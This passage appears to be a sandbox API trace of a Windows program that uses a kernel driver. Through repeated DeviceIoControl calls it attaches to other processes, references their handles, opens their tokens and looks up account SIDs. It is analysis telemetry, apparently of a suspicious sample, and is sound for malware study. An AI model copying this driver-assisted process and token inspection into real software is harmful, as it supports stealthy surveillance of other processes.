HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.131] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.131] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.131] PsAcquireProcessExitSynchronization () returned 0x0 [0105.131] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff88004f095d0) [0105.131] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.131] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.131] PsReleaseProcessExitSynchronization () returned 0x2 [0105.131] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0105.131] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.131] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0105.131] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.131] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.131] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0105.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.131] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0105.131] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.131] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0105.131] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0105.131] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.131] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.132] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.132] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.133] CloseHandle (hObject=0xc8) returned 1 [0105.133] CloseHandle (hObject=0xc0) returned 1 [0105.133] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.133] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.133] PsAcquireProcessExitSynchronization () returned 0x0 [0105.133] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff88004f095d0) [0105.133] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0105.133] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.133] PsReleaseProcessExitSynchronization () returned 0x2 [0105.133] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0105.133] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.133] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0105.133] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.134] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.134] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0105.134] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.134] PsAcquireProcessExitSynchronization () returned 0x0 [0105.134] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff88004f095d0) [0105.134] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0105.134] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.134] PsReleaseProcessExitSynchronization () returned 0x2 [0105.134] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0105.134] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.134] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0105.134] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.134] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.134] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.134] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.134] PsAcquireProcessExitSynchronization () returned 0x0 [0105.134] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff88004f095d0) [0105.134] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.134] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.134] PsReleaseProcessExitSynchronization () returned 0x2 [0105.134] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0105.134] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.134] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0105.134] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.134] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.134] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0105.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.134] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0105.134] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.135] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0105.135] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0105.135] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.135] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.135] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.135] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.387] CloseHandle (hObject=0xc8) returned 1 [0105.387] CloseHandle (hObject=0xc0) returned 1 [0105.387] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.387] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.387] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.387] PsAcquireProcessExitSynchronization () returned 0x0 [0105.387] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff88004f095d0) [0105.387] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0105.387] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.387] PsReleaseProcessExitSynchronization () returned 0x2 [0105.387] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0105.387] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.387] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0105.387] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.387] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.387] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.387] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0105.387] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.387] PsAcquireProcessExitSynchronization () returned 0x0 [0105.388] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff88004f095d0) [0105.388] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0105.388] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.388] PsReleaseProcessExitSynchronization () returned 0x2 [0105.388] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0105.388] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.388] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0105.388] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.388] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.388] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.388] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.388] PsAcquireProcessExitSynchronization () returned 0x0 [0105.388] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff88004f095d0) [0105.388] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.388] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.388] PsReleaseProcessExitSynchronization () returned 0x2 [0105.388] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0105.388] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.388] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.388] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.388] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.388] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0105.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.388] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0105.388] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.388] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0105.389] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.389] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.389] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.389] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.389] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.390] CloseHandle (hObject=0xc8) returned 1 [0105.390] CloseHandle (hObject=0xc0) returned 1 [0105.390] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.390] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.390] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.390] PsAcquireProcessExitSynchronization () returned 0x0 [0105.390] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff88004f095d0) [0105.390] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0105.390] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.390] PsReleaseProcessExitSynchronization () returned 0x2 [0105.391] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0105.391] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.391] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0105.391] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.391] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.391] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0105.391] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.391] PsAcquireProcessExitSynchronization () returned 0x0 [0105.391] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff88004f095d0) [0105.391] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0105.391] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.391] PsReleaseProcessExitSynchronization () returned 0x2 [0105.391] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0105.391] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.391] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0105.391] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.391] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.391] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.391] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.391] PsAcquireProcessExitSynchronization () returned 0x0 [0105.391] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff88004f095d0) [0105.391] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.391] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.391] PsReleaseProcessExitSynchronization () returned 0x2 [0105.391] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0105.391] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.391] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.391] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.392] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.392] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0105.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.392] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0105.392] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.392] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0105.392] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.392] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.392] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.392] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.392] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.393] CloseHandle (hObject=0xc8) returned 1 [0105.393] CloseHandle (hObject=0xc0) returned 1 [0105.393] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.393] DeviceIoControl (in: hDevice=0x7c, 